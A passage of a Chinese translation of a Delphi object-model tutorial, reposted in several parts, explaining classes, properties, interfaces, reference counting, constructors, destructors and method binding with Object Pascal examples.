自动的声明与公开的声明很接近，唯一的不同就是Delphi将保存更多的运行时间信息以支持OLE自动化服务。自动化的声明已经成陈旧了；你可以转而使用Delphi的类型库编辑器，但现在，他们为了向后兼容而保留了一部分。Delphi的下一版本可能会将这些部分彻底根除。第三章更进一步的阐述有关自动类型的声明。

派生的类可以提高属性的访问级别。通过在新的访问级别上重新声明属性来做到这一点（比如将首受保护的改为公开的）。但是不能降低一个属性的访问级别，并且你不能改变一个字段或者方法是否可见。你可以通过覆盖一个虚方法，或者声明一个覆盖方法在同样或者更高一级的访问级别上，但你不能降低访问级别。

Hiding a Constructor隐藏构造器

有时，一个类不用做公用的用途，而只是作为其他类的一个辅助类。这种情况下，你可能希望该辅助类的Create是私有的或者是受保护的，但这需要技巧。TObject声明了一个公开的构造器：Create.因此即使该辅助类的构造器是私有的或者受保护的，你依然可以调用自TObject继承而来的Create构造器。

尽管你不能改变继承来的Create构造器的访问权限，你还是可以通过另外一个公开的构造器来隐藏它。因为假如派生的构造器被调用，将引发一个异常。如下例：

type
  TPublic = class;
  TPrivateHelper = class
  private
//TPublic是唯一一个被允许调用真正的构造器的类
    constructor Create(Owner: TPublic);
      overload;
  public
//隐藏TObject.Create防止有人意外调用以试图创建TPrivateHelper的实例
    constructor Create;
      reintroduce; overload;
  end;
  TPublic = class
  private
    fHelper: TPrivateHelper;
  public
    constructor Create;
    destructor Destroy;
  end;

constructor TPrivateHelper.Create;
begin
  raise Exception.Create('Programming error')
end;

constructor TPublic.Create;
begin
  //这是唯一一个TPrivateHelper能被创建的地方
  fHelper := TPrivateHelper.Create(Self);
end;

Properties属性

属性看起来更象是字段，但可以起到与方法一样的作用。属性替代了读取者和设置者（有时也称为getter和setter），但更加机动和强大。属性对于Delphi的IDE而言非常关键，同时，我们也可以在其他许多场合使用属性。

属性由一个读者和一个写者来负责读取和设置属性的值。读者(Reader)可以是一个字段名，一个集合字段的选择器，或是返回该属性值的一个方法。写者(writer)可以是一个字段名，一个集合字段的选择器或者可以设置该属性值的一个方法。你可以省略写者，那么该属性为只读属性。当然，也可以省略掉读者以创建一个只写的属性，但是使用这么一个怪怪的属性将很受限制。同时省略读者和写者是没有意义的，因此Delphi不允许你这么做。

大多数的读者和写者是字段名称或方法名称，你也可以将其引向部分集合字段（记录和数组）。如果一个读者或写者指向一个数组元素，那么数组的索引必须是常量，并且该字段不能为动态数组。纪录和数组可以嵌套，甚至你可以使用可变类型的记录。例2-9展示了一个扩展的矩形类型，与Windows的TRect类型相似，但它是一个类，有属性和方法。

例2-9：属性的读者与写者

TRectEx = class(TPersistent)
  private
    R: TRect;
    function GetHeight: Integer;
    function GetWidth: Integer;
    procedure SetHeight(const Value: Integer);
    procedure SetWidth(const Value: Integer);
  public
    constructor Create(const R: TRect); overload;
    constructor Create(Left, Top, Right, Bottom: Integer); overload;
    constructor Create(const TopLeft, BottomRight: TPoint); overload;

    procedure Assign(Source: TPersistent); override;

    procedure Inflate(X, Y: Integer);
    procedure Intersect(const R: TRectEx);
    function IsEmpty: Boolean;
    function IsEqual(const R: TRectEx): Boolean;
    procedure Offset(X, Y: Integer);
    procedure Union(const R: TRectEx);

    property TopLeft: TPoint read R.TopLeft write R.TopLeft;
    property BottomRight: TPoint read R.BottomRight write R.BottomRight;
    property Rect: TRect read R write R;
    property Height: Integer read GetHeight write SetHeight;
    property Width: Integer read GetWidth write SetWidth;
  published
    property Left: Integer read R.Left write R.Left default 0;
    property Right: Integer read R.Right write R.Right default 0;
    property Top: Integer read R.Top write R.Top default 0;
    property Bottom: Integer read R.Bottom write R.Bottom default 0;
  end;

Array properties数组型属性

数组型属性总是与数量有关，并且带有数组的特性。数组型属性不能被发布，但有许多其他用途。数组的索引可以是任何类型的，并且你可以使用多维的数组。对于数组型属性而言，你必须使用读者和写者的方法，因为你没有办法将一个数组型的属性直接映射到一个数组型的字段上。

可以将其中的一个数组型属性指定为默认的。则你可以直接使用对象引用以及一个数组标号来访问该项属性而无需指明属性名称，如例子 2-10所示。

例 2-10：使用缺省的数组属性

type
  TExample = class
    ...
    property Items[I: Integer]: Integer read GetItem write SetItem;
    property Chars[C: Char]: Char read GetChar write SetChar; default;
  end;
var
  Example: TExample;
  I: Integer;
  C: Char;
begin
  Example := TExample.Create;
  I := Example.Items[4];     //必须显式的指明属性名称
  C := Example['X'];         //该数组型属性时缺省的
  C := Example.Chars['X'];   //效果如前


对象模型VI

Delphi对象模型 (PART VI)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Interfaces接口

接口定义了包含一组抽象方法的类型。一个类，即使是自一个简单的基类继承而来也可以实现任意多的借口。接口与抽象类有些相似（即没有任何字段并且所有方法都是抽象方法的类），并且Delphi提供了附加的功能。Delphi的接口有时很象COM(组件对象模型)借口，但是使用Delphi的接口并不需要你了解有关COM的内容，同时你还可以将接口用作其他许多用途。

你可以声明一个新的接口——它继承于一个已经存在的接口。接口的声明包含了方法和属性的声明，但是没有字段。正如所有的类都继承于TObject一样，所有的接口类继承自IUnknown。接口IUnknown定义了三个方法：_AddRef,_Release,以及QueryInterface。如果你对COM熟悉的话，对此三个方法便不会陌生。前两个方法用于管理实现此接口的对象的生命周期引用计数。第三个方法用于存取对象可能实现的其他接口。

当你想要声明一个实现了一个或者多个接口的类时，你必须实现接口中所声明的所有方法。新的类可以直接实现接口的方法，也可以将此实现委托给一个属性——其值为一个接口。实现_AddRef,_Release以及QueryInterface方法最简单的方法就是继承TInterfacedObject及其派生类的方法，当然你也可以继承自其他类如果你想自己定以方法的实现的话。

新类在实现接口的方法时必须使用于接口方法一致的方法名，参数以及调用约定。Delphi自动将类的方法与接口的相应方法配对。假如要使用不同的方法名，你可以使用不同的方法名来重定向接口的方法。用作重定向的方法必须具有于接口的方法一致的参数和调用约定。这一特性非常重要，当一个类需要实现多个接口，而其中有重复的方法名时尤其如此。请在第五章查找关键字Class，以获得有关重定向方法的更多内容。

类可以使用implements指示符将接口的实现委托给一个属性。该属性的值必须得是该类将要实现的接口类型。当对象被映射到该接口上时，Delphi自动获取该属性的值，并且返回该接口。参考第五章中关于implements指示符的内容。

对于每个非委托方式实现的接口，编译器为其创建一个隐含的字段用于存放指向该接口的VMT。接口的字段正好位于对象隐含的VMT字段之后。正如对象引用其实是指向对象的隐含的VMT字段的指针，接口的引用也是指向隐含的VMT字段的一个指针。当对象被创建时Delphi自动初始化隐含字段。参考第三章有关编译器如何使用RTTI来追踪VMT和隐含字段的内容。

Reference counting引用计数

编译器触发对_AddRef和_Release的调用以管理接口对象的生命周期。要使用Delphid的自动的引用计数，声明一个接口类型的变量即可。当你将一个接口引用赋值给一个接口变量时，Delphi自动调用_AddRef。当改变量离开作用域时，Delphi自动调用_Release。

_AddRef和_Release的行为完全取决于你。如果你从TInterfacedObject继承，则这些方法完成引用计数的功能。_AddRef方法用于增加引用计数，_Release用于将引用计数减一。当引用计数为0时，_Release方法将释放对象。如果你从其他类继承而来，则你可以定义自己的方法。但是，你应当正确的实现QueryInterface方法，因为Delphi正是基于此来实现As操作。

Typecasting类型转换

Delphi调用QueryInterface来对接口实现部分as操作的功能。你可以使用as操作符将一个接口转换为另外一个接口。Delphi调用QueryInterface以获得一个新的接口引用。如果QueryInterface返回一个错误，则as操作将触发一个运行期错误。(在SysUtils单元中该运行其错误被映射到EIntfCastError异常类中。)

你可以用自己的方式来实现QueryInterface方法，虽然可能你更倾向于与TInterfacedObject的实现接近的那种。例子 2-13 显示的是一个类实现了普通的QueryInterface方法，但是对于_AddRef和_Release方法的实现确大不相同。稍后你将看到这样做有什么用处。

例 2-13：无需引用计数的接口类

type
  TNoRefCount = class(TObject, IUnknown)
  protected
    function QueryInterface(const IID:TGUID; out Obj):HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
  end;

function TNoRefCount.QueryInterface(const IID:TGUID; out Obj): HResult;
begin
  if GetInterface(IID, Obj) then
    Result := 0
  else
    Result := Windows.E_NoInterface;
end;

function TNoRefCount._AddRef: Integer;
begin
  Result := -1
end;

function TNoRefCount._Release: Integer;
begin
  Result := -1
end;

Interfaces and object-oriented programming接口和面向对象编程

接口最重要的作用就是将类型继承(type inheritance)与类继承(class inheritance)分开。类继承是代码重用的一项有效的工具。派生的类轻松的继承了基类的字段，方法以及属性，并且不需要重新实现公用的方法。在一个强类型的语言中，比如Delphi中，编译器将一个类看作是一种类型，因此类继承与类型继承的概念似乎有些重叠了。但是尽可能地，我们对于类型（type）和类（Class）还是应当严格区分。

许多有关面向对象编程的书籍都将继承关系描述为“是”的关系，比如，一个TSavingsAccount“是”TAccount。你可以体会到相同的含义，当你使用Delphi的Is操作符，来测试一个Account变量是否是TSavingsAccount。

上文例子中的简单的“是”关系已经不能适应要求。正方形属于矩形的一种，但这并不意味着你愿意将TSquare继承自TRectangle。矩形属于多边形的一种，但你可能不希望TRectangle继承自TPolygon。类继承强制派生的类保存基类中声明的所有字段，但这种情况下，派生类并不需要这些信息。一个TSquare对象只需保存它所有边的一个单一长度。然而，一个TRectangle对象却必须保存两个长度。一个TPolygon对象则需要保存许多条边和顶点位置。

解决的方案就是将其从类继承（类C继承了B的字段和方法，而B则继承了A的字段和方法）分离为类型继承（正方形是矩形，矩形又是多边形）。使用接口实现类型继承，则你可以让类继承做它擅长的：字段和方法的继承。

换句话说就是，ISquare继承自IRectangle，而后者又继承自IPolygon。接口遵从了“是”的关系。完全的与接口分离，类TSquare实现了接口ISquare和IRectangle和IPolygon。TRectangle实现了IRectangle和IPolygon。

提示:
 COM编程的一个约定是将接口的名称命名为I打头的。Delphi的所有接口都遵循了这个约定。注意这只是一个有用的约定，并不是语言的强制要求。

从实现上而言，你可以声明符加的类以达到代码重用的目的。比如，使用TBaseShape实现对所有形状的公用字段和方法。TRectangle继承自TBaseShape然后实现跟根据矩形的特点实现相应方法。多边形依然继承自TBaseShape，并且根据多边形的特点实现相应的方法。

一个画图程序可以操作IPolygon接口来使用各种形状。例子 2-14显示的是基于这种设想的简单的类和接口。注意到每个接口都同时声明了GUID（全局唯一标识符）。使用QueryInterface时GUID是必须的。如果要使用接口的GUID，你可以直接使用接口的名称。Delphi会自动将接口的名称转换为对应的GUID。

例 2-14：分离类型和类继承

type
  IShape = interface
  ['{50F6D851-F4EB-11D2-88AC-00104BCAC44B}']
    procedure Draw(Canvas: TCanvas);
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
    property Position: TPoint read GetPosition write SetPosition;
  end;

  IPolygon = interface(IShape)
  ['{50F6D852-F4EB-11D2-88AC-00104BCAC44B}']
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  IRectangle = interface(IPolygon)
  ['{50F6D853-F4EB-11D2-88AC-00104BCAC44B}']
  end;
  ISquare = interface(IRectangle)
  ['{50F6D854-F4EB-11D2-88AC-00104BCAC44B}']
    function Side: Integer;
  end;

  TBaseShape = class(TNoRefCount, IShape)
  private
    fPosition: TPoint;
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
  public
    constructor Create; virtual;
    procedure Draw(Canvas: TCanvas); virtual; abstract;
    property Position: TPoint read fPosition write SetPosition;
  end;
  TPolygon = class(TBaseShape, IPolygon)
  private
    fVertices: array of TPoint;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TRectangle = class(TBaseShape, IPolygon, IRectangle)
  private
    fRect: TRect;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TSquare = class(TBaseShape, IPolygon, IRectangle, ISquare)
  private
    fSide: Integer;
  public
    procedure Draw(Canvas: TCanvas); override;
    function Side: Integer;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;

派生类继承了祖先类实现的接口。TRectangle继承自TBaseShape，则TBaseShape实现了IShape接口也就是TRectangle实现了IShape接口。而接口的继承与此有些不同。接口的继承仅仅为了类型上的便利，也就是说你不必重新再去输入许多方法的声明。当一个类实现一个接口时，并不意味着该类自动的实现了祖先的接口。事实上，该类只实现了出现在该类的声明部分的这些接口（以及在祖先类的声明部分出现的接口）。因此，即使IRectangle继承自IPolygon，TRectangle类还是得将IRectangle和IPolygon显式的罗列出来。

要实现类型体系，你不应当使用引用计数。相反，你需要实现显式的内存管理，如同处理普通的Delphi对象一样。在这种情况下，实现_AddRef和_Release 方法的最好办法就是连根拔除，就象我们在例 2-13里见到的TNoRefCount类那样。还有需要注意的是，不要有任何变量指向失效的引用。一个已经被释放的对象引用可能导致问题，因为Delphi将会自动调用_Release方法。也就是说，永远不要尝试使用指向无效指针的变量，使用接口而不使用引用计数强制你必须这么做。


对象模型III

Delphi对象模型 (PART III)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

构造器(Constructor)

每一个类都有一个或多个可能是自基类继承而来的构造器。按照惯例，构造器通常命名为Create，但你也可以使用其他名称。有些构造器以Create打头，为了传递更多的信息，被命名为诸如CreateFromFile或者CreateFromStream这样的名字。通常情况下，使用”Create” 这个名字就可以了，因为你可以使用重载来定义多个相同名字的构造器。另一个原因是为了保持与C++Builder的兼容。因为C++不允许构造器使用不同名称，因此你必须使用重载来定义多个构造器。

调用构造器

构造器是对象方法和类方法的混合体。你可以使用一个对象引用或者一个类引用来调用它。Delphi会传递一个附加的隐含的参数来指示它如何被调用。假如使用一个类引用来调用构造器，Delphi会调用类的NewInstance方法以获得该类的一个新的实例。然后，构造器继续处理并且初始化对象。构造器自动引入一个try-except模块，当构造器中触发异常时，Delphi将自动调用析构器。

使用对象引用来调用构造器时，Delphi不会引入try-except块，也不会调用NewInstance方法。相反，它象调用普通方法一样调用构造器。这个特性允许你调用继承的构造器而无需增加额外的内存开销。

提示：
一个常见的错误是尝试使用对象引用来创建一个对象，而不是用一个类引用来创建对象并将它赋值给一个对象引用：

var
  Account: TSavingsAccount;
begin
  Account.Create;                    //错误
  Account := TSavingsAccount.Create; //正确

Delphi的特性之一是你可以控制在何时调用，如何调用，以及是否需要调用一个继承的构造器。这个特性使你可以构建功能强大的类，但在一定程度上也使得错误容易发生。

Delphi总是先构造派生的类，仅当派生类调用了继承的构造器时才去构造基类。在C++中次序相反，从祖先类开始构建，最后才是派生的类。因而，假如有类C继承于B,而B继承于A，那么Delphi先是构建C,然后是B最后是A.C++先构建A,然后B,最后C。

虚方法和构造器

另一个介于C++和Delphi之间的一个很大的不同是，在C++中，构造器总是根据已经被创建的类的虚方法表来运行。而在Delphi中，虚方法代表了所有派生类的内容，即使基类还没有被创建。因此，当你书写一个可能被构造器调用的虚方法时一定要小心。否则，对象可能还没有完全创建时该方法就被调用了。为了预防这种情况，你应当覆盖AfterConstruction方法，在其中填写需要等到对象被完全创建后才能执行的代码。假如要覆盖AfterConstruction,别忘了调用inherited方法。

一个构造器可以调用另一个构造器。Delphi能够区分该调用是否来自于对象引用，因此调用构造器与调用普通方法相同。调用另一个构造器最常见的理由是把初始化代码放在一个单一的构造器中。例2-7显示了声明和调用构造器的几种不同的方法。

例2-7：声明和调用构造器

type
  TCustomer = class ... end;
  TAccount = class
  private
    fBalance: Currency;
    fNumber: Cardinal;
    fCustomer: TCustomer;
  public
    constructor Create(Customer: TCustomer); virtual;
    destructor Destroy; override;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // Scaled by 1000
  public
    constructor Create(Customer: TCustomer); override; overload;
    constructor Create(Customer: TCustomer; InterestRate: Integer);
        overload;
//注意：TSaveingAccount不需要再定义一个析构器。
//它只是简单的继承了TAccount的构造器

  end;

var
  AccountNumber: Cardinal = 1;

constructor TAccount.Create(Customer: TCustomer);
begin
  inherited Create;             // Call TObject.Create.
  fNumber := AccountNumber;     // Assign a unique account number.
  Inc(AccountNumber);
  fCustomer := Customer;        // Notify customer of new account.
  Customer.AttachAccount(Self);
end;

destructor TAccount.Destroy;
begin

  //如果在设置fCustomer字段之前构造出错，则该字段为nil。
//仅当Customer不为nil才释放account。
  if Customer <> nil then
    Customer.ReleaseAccount(Self);
  //调用TObject.Destroy.
  inherited Destroy;
end;

const
  DefaultInterestRate = 5000;  // 5%, scaled by 1000

constructor TSavingsAccount.Create(Customer: TCustomer);
begin
  //调用同类的另一个构造器
  Create(Customer, DefaultInterestRate);
end;

constructor TSavingsAccount(Customer: TCustomer; InterestRate:Integer);
begin
  //调用TAccount.Create
  inherited Create(Customer);
  fInterestRate := InterestRate;
end;

析构器(Destructor)

析构器和构造器一样也隐藏了一个附加的参数。第一次调用时，该附加参数被置为True。这使得Delphi调用FreeInstance来释放对象。如果该析构器调用了继承的析构器，那么Delphi将这个隐含的参数设置为False以防止继承的析构器再次释放同一个对象。

提示：
一个类通常有一个析构器名为Destroy。Delphi允许声明多个析构器——但这一特性并未带来什么 方便之处。定义多个析构器通常容易使人感到迷惑并且没有什么实际意义。

在Delphi执行析构器中的代码之前，它先调用虚方法BeforeDestruction。你可以覆盖该方法以确保在析构以前有些事务被处理掉。这个特性使你能写出安全的类代码，而不必担心派生类会在何时调用基类的析构器。

提示：
定义一个类时，你可能需要覆盖名为Destroy的析构器方法，但是不要重新定义Free方法。释放一个对象时，你要调用的是Free方法而不是析构器。这一区别非常重要，因为Free首先检查对象引用是否为nil，只有引用非空时才调用Destroy方法。只在某些特定的场合，才需要重新定义Free方法（比如很少用用到的单元VirtIntf中的TInterface类），因为可能调用Free比Destroy更重要。

假如构造器方法和AfterConstruction方法引发了异常， Delphi会自动调用析构器。写一个析构器时，必须意识到正在被撤销的对象有可能没有被完全的创建。Delphi确保所有的字段初始值为空，但假如在构造器中引发了异常，则可能导致某些字段已被初始化而有些未被初始化。如果构造器直接释放对象和指针，那么……其实不必担心这一点，因为Free方法和FreeMem过程都能自动检查指针是否为空。如果构造器调用其他方法，那么也会事先检查指针是否为空。


对象模型II

Delphi对象模型 (PART II)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

对象(Object)

对象是类的一个动态的实例。这个动态实例包含了该类及其祖先类的所有字段。对象还包含一个隐含的字段用来保存对象所属类的一个类引用。

对象总是从堆中分配到内存，因此对象引用实际上是指向该对象的一个指针。程序设计人员负有在合适的时间创建和释放对象的责任。为了创建一个对象，我们使用类引用并调用构造器方法，如下例所示：

Obj := TSomeClass.Create;

大多数的构造器命名为Create，但这只是一个约定，并不是Delphi所一定要求的。有时你会发现其他名称的构造器，特别是在Delphi还不支持方法的重载之前定义的一些陈旧的类。为了最大限度的与C++Builder保持兼容（因为C++Builder不允许自定义构造器名称），最好仍旧使用Create，重载原先的构造器方法。

要删除程序中不再使用的一个对象，调用Free方法。为了确保即使在有异常触发的情况下，对象也能被正确释放，使用 try-finally 异常处理。如下例所示：

Obj := TSomeOtherClass.Create;
try
  Obj.DoSomethingThatMightRaiseAnException;
  Obj.DoSomethingElse;
finally
  Obj.Free;
end;

释放一个全局的变量时，假如总是在释放对象后即将该变量置为nil，那么便不会留下一个包含无效指针的变量。释放对象之前而将对象置为nil一定得小心谨慎。如果构造器或者构造器中调用的一个方法对该变量有一个引用，那么你最好将该变量置为nil以防可能的隐患。一个简单的方法是调用FreeAndNill过程（在SysUtils中声明）。

GlobalVar := TFruitWigglies.Create;
try
  GlobalVar.EatEmUp;
finally
  FreeAndNil(GlobalVar);
end;

每一个对象都包含它所有字段一个单独的副本。字段不能被多个对象所共享。如果确实需要共享一个字段变量，那么在单元层次上定义这个变量或者使用间接方法：在对象中使用指针或者对象引用来访问公共数据。

继承(Inheritance)

一个类可以继承自另一个类。新派生的类继承了基类中所有的字段，方法以及属性。Delphi只支持单一继承，因此派生类只有一个基类。而基类也可以有自己的基类，如此循环不断，一个类便继承了所有祖先类的字段，属性和方法。类还可以实现任意多的接口。类似于Java,但C++不同的是，所有Delphi的类都继承自同一个根类，那就是TObject。如果不显式的指明基类，Delphi自动将TObject作为该类的基类。

提示：
类最直接的父类称为基类，这在类的声明中可以体现出来。类的祖先类可以是类的基类，也可以是一直到TObject的继承链中的其他祖先类。因而，在例子2-1中，类TCertificateOfDeposit只有一个基类叫TSavingsAccount；而它的祖先类分别是TObject，TAccount以及TSavingsAccount。

TObject类声明了一些方法以及一个特殊的，隐藏的字段专门用来存放对该对象所属类的引用。这个隐藏的字段指向类的虚拟方法表(VMT)。每一个类都有唯一的一个VMT并且所有该类的对象共用这个类的VMT。

可以将一个对象引用赋值给一个相同对象类型的，或者该类的任何一个祖先类的变量。换句话说，对象引用在声明时候的类型不一定要和实际的对象类型相同，反过来赋值——将一个基类的对象引用赋值给派生类的变量——是不允许的，因为对象可能会是不同的类型。

Delphi保留了Pascal的强类型校验特点，因此编译器根据一个对象引用声明时的类型对其进行检查。这样，要求所有的方法必须是类声明的一部分，并且编译器对函数和过程的变量也进行常规检查。编译器并不都将某个方法的调用绑定到特定的实现上。因为假如是一个虚方法，那么只有到运行时间时，才可以根据对象的真正的类型来决定哪个方法被调用。本章“方法”一节中详细说明了这个问题。

使用Is操作符来测试对象所属的真正的类。当此类引用与对象的类相同或者此类引用是该对象类的一个祖先类时，返回True。当对象引用为nil或者不是该类，则返回False。

if Account is TCheckingAccount then ... // tests the class of Account if Account is TObject then ... // True when Account is not nil

可以使用类型转换以获得另一个类型的对象引用。类型转换并不改变对象；它只是给你一个新的对象引用。通常可以使用as操作符进行类型转换。as操作符自动检查对象类型并且当对象的类并不是目标类的子类时将引发一个运行期错误。（SysUtils单元中将该运行期错误映射到EInvalidCast 异常中。）

另一种转换对象引用的方法是使用目标类的名称，类似函数调用。这种转换不会进行类型检查，因此只当你确信安全时才这么做。如例子2-3所示：

例2-3：使用静态的类型转换

var
  Account: TAccount;
  Checking: TCheckingAccount;
begin
  Account  := Checking;                    //允许
  Checking := Account;                     // 编译错误
  Checking := Account as TCheckingAccount; //没问题
  Account as TForm;                        // 触发一个运行期错误
  Checking := TCheckingAccount(Account);   //可用，但不推荐
  if Account is TCheckingAccount then      //更好的
    Checking := TCheckingAccount(Account)
  else
    Checking := nil;

字段(Field)

字段是对象内部的变量。一个类可以声明任意多的字段，并且每一个对象都有自己的一个对自己类以及所有祖先类的所有字段的一个副本。或者说，字段可以称为一个数据成员，一个实例化的变量，或者一个特性。Delphi没有提供类变量，类实例变量，静态数据成员或者等同的东西（即在同一类的所有对象中共享的变量）。但是你可以使用单元层次上的变量来达到类似的效果。

字段可以为任意类型除非是发布的(published)。在发布的声明部分中的字段必须要有运行时间类型信息。详见第三章内容。

在Delphi中，新创建一个对象时，该对象的所有的字段被置空，也就是说，所有指针被初始化为nil,字符串以及动态数组的内容为空，数字值为0，布尔类型的值为False，并且可变类型Variant的值被赋值为Unassigned。

派生的类可以定义与祖先类中同名的字段。派生类的这个字段隐藏了祖先类中相同名称的字段。派生类中的方法引用的是派生类中的该字段，而祖先类的方法引用的是祖先类中的该字段。

方法(Method)

方法是在类中实现的函数或者过程。C++中方法被称为“成员函数”。方法与普通的过程和函数的区别是，在方法中有一个隐含的参数称为Self,用来指向调用该方法的对象本身。这里的Self与C++和Java中的相类似。调用一个方法与调用一个普通的函数或过程类似，但得将方法的名称跟在对象引用之后，如：

Object.Method(Argument);

类方法（Class method）基于类及其祖先类。在类方法中，Self是对类的引用而不是对对象的引用。C++中类方法称为“静态成员函数”。

你可以调用在对象的类中以及祖先类里声明的对象方法。假如祖先类和派生类中定义了相同名称的方法，Delphi将调用最外层派生的那个方法。如例2-4所示：

例2-4：绑定静态方法

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency);
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency);
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     //调用TSavingsAccount.Withdraw
  Account.Withdraw(1000.00);     //调用TAccount.Withdraw

普通方法被称为静态方法的原因是编译器直接将该调用和方法的实现绑定在一起。换句话说，静态方法是静态绑定的。在C++中称普通方法被称为“普通成员函数”，在Java中称为“最终方法(final method)”。多数Delphi程序员不愿使用静态方法这个术语，而将之简化称为方法或者非虚拟方法。

虚方法是在运行期间而非编译期间被绑定的一类方法。在编译期间，Delphi根据对象引用的类型来决定可以调用的方法。与编译期间直接指定一个特定的方法的实现不同的是，编译器根据对象的实际类型存放一个间接的对方法的引用。运行期间，程序在类的运行期表（特别是VMT）中查找方法，然后调用实际的类型的方法。对象的真正的类必须是在编译期中声明的类，或者它的一个派生的类——这一点不成问题，因为VMT提供了指向正确的方法的指针。

要声明一个虚方法，可以在基类中使用vritual指示符，然后使用override指示符以在派生的类中提供该方法的新的定义。与Java不同的是，Delphi中方法在缺省情况下是静态的，因此你必须使用virtual指示符来声明一个虚方法。与C++不同的是，Delphi中要在派生类中覆盖一个虚方法必须使用override指示符。

例2-5 使用虚方法。

例2-5 绑定虚方法

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency); virtual;
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency); override;
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     // 调用TSavingsAccount.Withdraw
  Account := Savings;
  Account.Withdraw(1000.00);     // 调用TSavingsAccount.Withdraw

除了vritual指示符，你还可以使用dynamic指示符。两者语义相同的，但实现不同。在VMT中查找一个虚方法很快，因为编译器在VMT中建了索引。而查找一个动态方法慢一些。调用一个动态方法虚要在动态方法表（DMT）中进行线性查找。在祖先类中查找直到遇到TObject或者该方法被找到为止。在某些场合，动态方法占用比虚方法更少的内存。除非要写一个VCL的替代物，否则你应当使用虚方法而不是动态方法。参见第三章以详细了解有关内容。

虚方法和动态方法可以在声明时使用abstract指示符，这样该类就不必给出对该方法的定义，但在派生的类中必须覆盖(override)该方法。C++中抽象方法的术语称为“纯虚方法”。当你调用一个包含有抽象方法的类的构造函数时， Delphi将给出编译警告，提示你可能有个错误。可能你要创建的是覆盖（override）并且实现了该抽象方法的派生类的一个实例。定义了一个或者多个抽象方法的类通常称为抽象类，尽管有些人认定该术语只适用于只定义了抽象方法的那些类。

提示：
当你构建一个自其他抽象类继承而来的抽象类时，你应当使用override和abstract指示符将所有的抽象方法重新声明。Delphi并没有要求这么做，因这只是个惯例。这些声明将清楚地告诉代码维护人员有哪些方法是抽象的。否则，维护人员可能对那些方法需要实现而那些方法需要保持抽象感到疑惑。例如：

type
  TBaseAbstract = class
    procedure Method; virtual; abstract;
  end;
  TDerivedAbstract = class(TBaseAbsract)
    procedure Method; override; abstract;
  end;
  TConcrete = class(TDerivedAbstract)
    procedure Method; override;
  end;

类方法或构造器也可以是虚拟的。在Delphi中，类引用是一个真的实体，你可以将它赋值给一个变量，当作参数传递，或用作引用来调用类方法。如果构造器是虚拟的，则类引用有一个静态的基类类型，但你可以将一个派生类型的类引用赋值给它。Delphi将在该类的VMT中查找虚拟构造器，而后调用派生类的构造器。，

方法（以及其他函数和过程）可以被重载，也就是说，多个例程可以有相同的名字，但是参数定义必须各不相同。声明重载方法使用overload指示符。在派生类中可以重载继承于基类的方法。这种情况下，只有派生的类才需要使用overload指示符。毕竟，基类的作者不可能预见其他的程序员何时需要重载一个继承的方法。如果派生类中没有使用overload指示符，则基类中的相同名称的方法被屏蔽。如例2-6所示。

例子2-6：方法的重载

type
  TAuditKind = (auInternal, auExternal, auIRS, auNasty);
  TAccount = class
  public
    procedure Audit;
  end;
  TCheckingAccount = class(TAccount)
  public
    procedure Audit(Kind: TAuditKind); // Hides TAccount.Audit
  end;
  TSavingsAccount = class(TAccount)
  public
    // Can call TSavingsAccount.Audit and TAccount.Audit
    procedure Audit(Kind: TAuditKind); overload;
  end;
var
  Checking: TCheckingAccount;
  Savings: TSavingsAccount;
begin
  Checking := TCheckingAccount.Create;
  Savings := TSavingsAccount.Create;
  Checking.Audit;             // 错误，因为TAccount.Audit被屏蔽了。
  Savings.Audit;              //正确，因为Audiot被重载了。
  Savings.Audit(auNasty);     //正确
  Checking.Audit(auInternal);//正确


对象模型I

Delphi对象模型 (PART I)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Classes and Objects类和对象

